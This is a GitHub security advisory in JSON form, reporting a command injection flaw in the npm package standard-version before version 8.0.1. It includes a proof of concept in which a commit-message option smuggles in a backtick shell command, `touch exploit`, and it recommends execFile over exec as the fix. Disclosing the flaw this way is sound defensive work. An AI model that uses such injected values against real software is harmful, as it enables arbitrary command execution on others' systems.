GHSA-7xcx-6wjh-7xp2: Standard version Command Injection Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-7xcx-6wjh-7xp2",
  "modified" : "2021-09-22T21:03:04Z",
  "published" : "2020-07-13T21:34:59Z",
  "aliases" : [ ],
  "summary" : "Command Injection in standard-version",
  "details" : "# GitHub Security Lab (GHSL) Vulnerability Report: `GHSL-2020-111`\n\nThe [GitHub Security Lab](https://securitylab.github.com) team has identified a potential security vulnerability in [standard-version](https://github.com/conventional-changelog/standard-version).\n\n## Summary\n\nThe `standardVersion` function has a command injection vulnerability. Clients of the `standard-version` library are unlikely to be aware of this, so they might unwittingly write code that contains a vulnerability.\n\n## Product\nStandard Version\n \n## Tested Version\nCommit [2f04ac8](https://github.com/conventional-changelog/standard-version/tree/2f04ac8fc1c134a1981c23a093d4eece77d0bbb9/)\n\n## Details\n\n### Issue 1: Command injection in `standardVersion`\n\nThe following proof-of-concept illustrates the vulnerability. First install Standard Version and create an empty git repo to run the PoC in:\n\n```\nnpm install standard-version\ngit init\necho \"foo\" > foo.txt # the git repo has to be non-empty\ngit add foo.txt\ngit commit -am \"initial commit\"\n```\n\nNow create a file with the following contents:\n\n```\nvar fs = require(\"fs\");\n// setting up a bit of environment\nfs.writeFileSync(\"package.json\", '{\"name\": \"foo\", \"version\": \"1.0.0\"}');\n\nconst standardVersion = require('standard-version')\n\nstandardVersion({\n  noVerify: true,\n  infile: 'foo.txt',\n  releaseCommitMessageFormat: \"bla `touch exploit`\"\n})\n```\n\nand run it:\n\n```\nnode test.js\n```\n\nNotice that a file named `exploit` has been created.\n\nThis vulnerability is similar to command injection vulnerabilities that have been found in other Javascript libraries. Here are some examples:\n[CVE-2020-7646](https://github.com/advisories/GHSA-m8xj-5v73-3hh8),\n[CVE-2020-7614](https://github.com/advisories/GHSA-426h-24vj-qwxf),\n[CVE-2020-7597](https://github.com/advisories/GHSA-5q88-cjfq-g2mh),\n[CVE-2019-10778](https://github.com/advisories/GHSA-4gp3-p7ph-x2jr),\n[CVE-2019-10776](https://github.com/advisories/GHSA-84cm-v6jp-gjmr),\n[CVE-2018-16462](https://github.com/advisories/GHSA-9jm3-5835-537m),\n[CVE-2018-16461](https://github.com/advisories/GHSA-7g2w-6r25-2j7p),\n[CVE-2018-16460](https://github.com/advisories/GHSA-cfhg-9x44-78h2),\n[CVE-2018-13797](https://github.com/advisories/GHSA-pp57-mqmh-44h7),\n[CVE-2018-3786](https://github.com/advisories/GHSA-c9j3-wqph-5xx9),\n[CVE-2018-3772](https://github.com/advisories/GHSA-wjr4-2jgw-hmv8),\n[CVE-2018-3746](https://github.com/advisories/GHSA-3pxp-6963-46r9),\n[CVE-2017-16100](https://github.com/advisories/GHSA-jcw8-r9xm-32c6),\n[CVE-2017-16042](https://github.com/advisories/GHSA-qh2h-chj9-jffq).\n\nWe have written a [CodeQL](https://codeql.com) query, which automatically detects this vulnerability. You can see the results of the query on the `standard-version` project [here](https://lgtm.com/query/237522640229151035/).\n\n#### Impact\n\nThis issue may lead to remote code execution if a client of the library calls the vulnerable method with untrusted input.\n\n#### Remediation\n\nWe recommend not using an API that can interpret a string as a shell command. For example, use [`child_process.execFile`](https://nodejs.org/api/child_process.html#child_process_child_process_execfile_file_args_options_callback) instead of [`child_process.exec`](https://nodejs.org/api/child_process.html#child_process_child_process_exec_command_options_callback).\n\n## Credit\n\nThis issue was discovered and reported by GitHub Engineer [@erik-krogh (Erik Krogh Kristensen)](https://github.com/erik-krogh).\n\n## Contact\n\nYou can contact the GHSL team at `securitylab@github.com`, please include `GHSL-2020-111` in any communication regarding this issue.\n\n## Disclosure Policy\n\nThis report is subject to our [coordinated disclosure policy](https://securitylab.github.com/disclosures#policy).",
  "severity" : [ ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "standard-version"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "8.0.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/conventional-changelog/standard-version/security/advisories/GHSA-7xcx-6wjh-7xp2"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/conventional-changelog/standard-version"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/conventional-changelog/standard-version/tree/2f04ac8fc1c134a1981c23a093d4eece77d0bbb9"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-77" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2020-07-13T21:33:29Z",
    "nvd_published_at" : null
  }
}